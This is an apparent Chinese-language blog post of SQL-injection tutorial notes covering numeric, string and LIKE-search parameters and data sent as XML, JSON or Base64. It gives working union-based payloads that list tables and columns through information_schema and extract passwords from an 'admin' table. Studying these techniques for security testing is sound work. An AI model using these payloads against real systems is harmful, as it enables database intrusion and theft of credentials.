Administrator
发布于 2026-10-02 / 5 阅读
0
0

Web攻防-SQL注入-参数类型*参数格式&XML&JSON&BASE64等&数字字符搜索等符号绕过

案例说明:

在应用中,存在参数值为数字,字符时,符号的介入,另外搜索功能通配符的再次介入,另外传输数据可由最基本的对应赋值传递改为更加智能的XML或JSON格式传递,部分保证更安全的情况还会采用编码或加密形式传递数据,给于安全测试过程中更大的挑战和难度。

 

#数字,字符,搜索

例:

select * from news where id=$id;

select * from news where name='$name';

select * from news where name like '%name%';

符号干扰:有无单引号或双引号及通配符等

order by 3

union select 1,2,3

知道数据库名:database() news_db

获取数据库名下的表名信息:

借助自带的information_schema.tables表(记录所有数据库名下的表名)

1%' union select 1,2,table_name from information_schema.tables where table_schema='news_db'#
admin下列名

借助自带的information_schema.columns表(记录所有数据库名下的表名对应的列名信息)

1%' union select 1,2,column_name from information_schema.columns where table_schema='news_db' and table_name='admin'#

news_db

admin

username,password

1%' union select 1,2,password from admin#

#XML,JSON,编码,混合

XML:

<?xml version="1.0" encoding="UTF-8"?>

<news>

    <article>

        <id>1</id>

        <title>xiaodi</title>

        <content>i am xiaodi</content>

        <created_at>2025-03-07</created_at>

    </article>

    <article>

        <id>2</id>

        <title>xiaodisec</title>

        <content>i am xiaodisec</content>

        <created_at>2025-03-06</created_at>

    </article>

</news>

JSON:

{

    "news:"[

{

            "id": 1,

            "title": "xiaodi",

            "content": "i am xiaodi",

            "created_at": "2025-03-07"

},

{

            "id": 2,

            "title": "xiaodisec",

            "content": "i am xiaodisec",

            "created_at": "2025-03-06"

}

    ]

}

Base64:

{

    "news": [

{

            "id": "MQ==",

            "title": "eGlhb2Rp",

            "content": "aSBhbSB4aWFvZGk=",

            "created_at": "MjAyNS0wMy0wNw=="

},

{

            "id": "Mg==",

            "title": "eGlhb2Rpc2Vj",

            "content": "aSBhbSB4aWFvZGlzZWM=",

            "created_at": "MjAyNS0wMy0wNg=="

}

    ]

}

1、数据传输采用XML或JSON格式传递

2、数据传输采用编码或加密形式传递

3、数据传递采用JSON又采用编码传递

#实例应用:

1、JSON注入案例:

SRC报告-众测下的SQL注入挖掘

SRC报告-edu-SQL注入案例分享

SRC报告-河南省xxxx某站存在SQL注入漏洞

2、编码注入案例:

互联网搜下对应说明

https://mp.weixin.qq.com/s/Xf08xaV-YcZsQopE19pPEQ


评论